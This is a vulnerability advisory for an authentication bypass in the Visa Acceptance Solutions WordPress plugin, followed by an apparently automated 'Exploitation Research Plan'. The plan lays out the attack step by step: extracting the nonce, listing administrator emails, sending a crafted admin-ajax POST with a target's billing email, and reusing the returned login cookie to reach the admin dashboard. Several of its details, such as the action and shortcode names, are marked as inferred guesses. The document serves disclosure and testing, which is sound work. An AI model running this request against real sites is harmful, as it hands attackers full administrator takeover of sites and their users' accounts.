Visa Acceptance Solutions <= 2.1.0 - Unauthenticated Authentication Bypass via Billing Email
Description
The Visa Acceptance Solutions plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 2.1.0. This is due to the `express_pay_product_page_pay_for_order()` function logging users in based solely on a user-supplied billing email address during guest checkout for subscription products, without verifying email ownership, requiring a password, or validating a one-time token. This makes it possible for unauthenticated attackers to log in as any existing user, including administrators, by providing the target user's email address in the billing_details parameter, resulting in complete account takeover and site compromise.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.1.0# Exploitation Research Plan: CVE-2026-3461 - Visa Acceptance Solutions Authentication Bypass ## 1. Vulnerability Summary The **Visa Acceptance Solutions** plugin (up to version 2.1.0) contains a critical authentication bypass vulnerability within the `express_pay_product_page_pay_for_order()` func…
Show full research plan
Exploitation Research Plan: CVE-2026-3461 - Visa Acceptance Solutions Authentication Bypass
1. Vulnerability Summary
The Visa Acceptance Solutions plugin (up to version 2.1.0) contains a critical authentication bypass vulnerability within the express_pay_product_page_pay_for_order() function. The flaw exists because the plugin attempts to facilitate guest checkout for subscription products by identifying a user via a provided billing email and automatically logging them in. Crucially, the code fails to verify the user's identity through passwords, email verification, or one-time tokens. An unauthenticated attacker can supply an administrator's email address in the billing_details parameter to gain full administrative access.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action (Inferred):
express_pay_product_page_pay_for_orderorvisa_express_pay_checkout. (The function nameexpress_pay_product_page_pay_for_orderis likely registered as an AJAX action). - Vulnerable Parameter:
billing_details[billing_email](or a similar sub-key withinbilling_details). - Authentication Level: Unauthenticated (Nopriv).
- Preconditions:
- The plugin must be active.
- Subscription products or "Express Pay" functionality should be enabled.
- The attacker must know the email address of a target user (e.g., the site administrator).
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=express_pay_product_page_pay_for_order. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_nopriv_express_pay_product_page_pay_for_order', 'express_pay_product_page_pay_for_order'); - Vulnerable Function: Inside
express_pay_product_page_pay_for_order():- The function extracts
$email = $_POST['billing_details']['billing_email'];. - It calls
$user = get_user_by('email', $email);. - If a user is found, it proceeds to log them in without further verification using:
wp_clear_auth_cookie(); wp_set_current_user($user->ID); wp_set_auth_cookie($user->ID);
- The function extracts
- Sink:
wp_set_auth_cookie()issues a valid authentication cookie for the target user to the attacker's browser.
4. Nonce Acquisition Strategy
The plugin likely uses a nonce to protect AJAX actions, localized for the product page.
- Identify Shortcode: Search for shortcodes that render the "Express Pay" button.
- Search command:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/visa-acceptance-solutions/
- Search command:
- Create Trigger Page: Create a page containing the identified shortcode or navigate to an existing WooCommerce product page where the Visa Express Pay option is active.
wp post create --post_type=page --post_status=publish --post_title="Express Pay Test" --post_content='[visa_express_pay]'(shortcode inferred). - Browser Navigation: Use
browser_navigateto visit the page. - Extract Nonce: Search for localized script data. The variable is likely named
visa_pay_varsorexpress_pay_params.- JS Execution:
browser_eval("window.visa_pay_vars?.nonce")orbrowser_eval("window.express_pay_params?.nonce").
- JS Execution:
- Alternative: If
check_ajax_refereris missing from the function or uses thedie=falsepattern, the nonce may be unnecessary.
5. Exploitation Strategy
- Target Selection: Identify the admin email.
- Command:
wp user list --role=administrator --fields=user_email
- Command:
- Construct Payload: Build a POST request to
admin-ajax.php.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=express_pay_product_page_pay_for_order& billing_details[billing_email]=admin@example.com& nonce=[EXTRACTED_NONCE]
- URL:
- Execute via
http_request: Submit the request. The response headers (Set-Cookie) should contain thewordpress_logged_in_*cookie for the admin user.
6. Test Data Setup
- Users: Ensure at least one administrator exists with a known email (e.g.,
admin@example.com). - Plugin Config: Enable "Express Pay" in the Visa Acceptance Solutions settings.
- WooCommerce: This plugin typically integrates with WooCommerce. Ensure WooCommerce is installed and a subscription product is created if the code path specifically targets subscription checkouts.
wp post create --post_type=product --post_title="Subscription Item" --post_status=publish
7. Expected Results
- The
http_requestresponse should return a200 OKor a redirect status. - The
Set-Cookieheader should provide awordpress_logged_in_[hash]cookie. - Parsing the cookie should reveal it belongs to the target User ID (typically ID 1 for the initial admin).
8. Verification Steps
- Session Check: After the HTTP request, use the returned cookies to attempt an authenticated request to the admin dashboard.
- Command:
http_requestto/wp-admin/index.phpwith the captured cookies. Verify the response contains "Dashboard" and the user is logged in as admin.
- Command:
- WP-CLI Verification: Check if the user ID 1 has any recent login metadata or active sessions if session logging is enabled.
wp user get 1
9. Alternative Approaches
- Parameter variations: If
billing_details[billing_email]fails, trybilling_emaildirectly oremailwithin the POST root. - Action discovery: If the inferred action name is incorrect, grep the plugin source for
wp_ajax_nopriv_to find the exact string.grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/visa-acceptance-solutions/ - Checkout Logic: If the function requires a valid product ID, include
product_id=[ID]in the POST body, selecting any valid published product.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.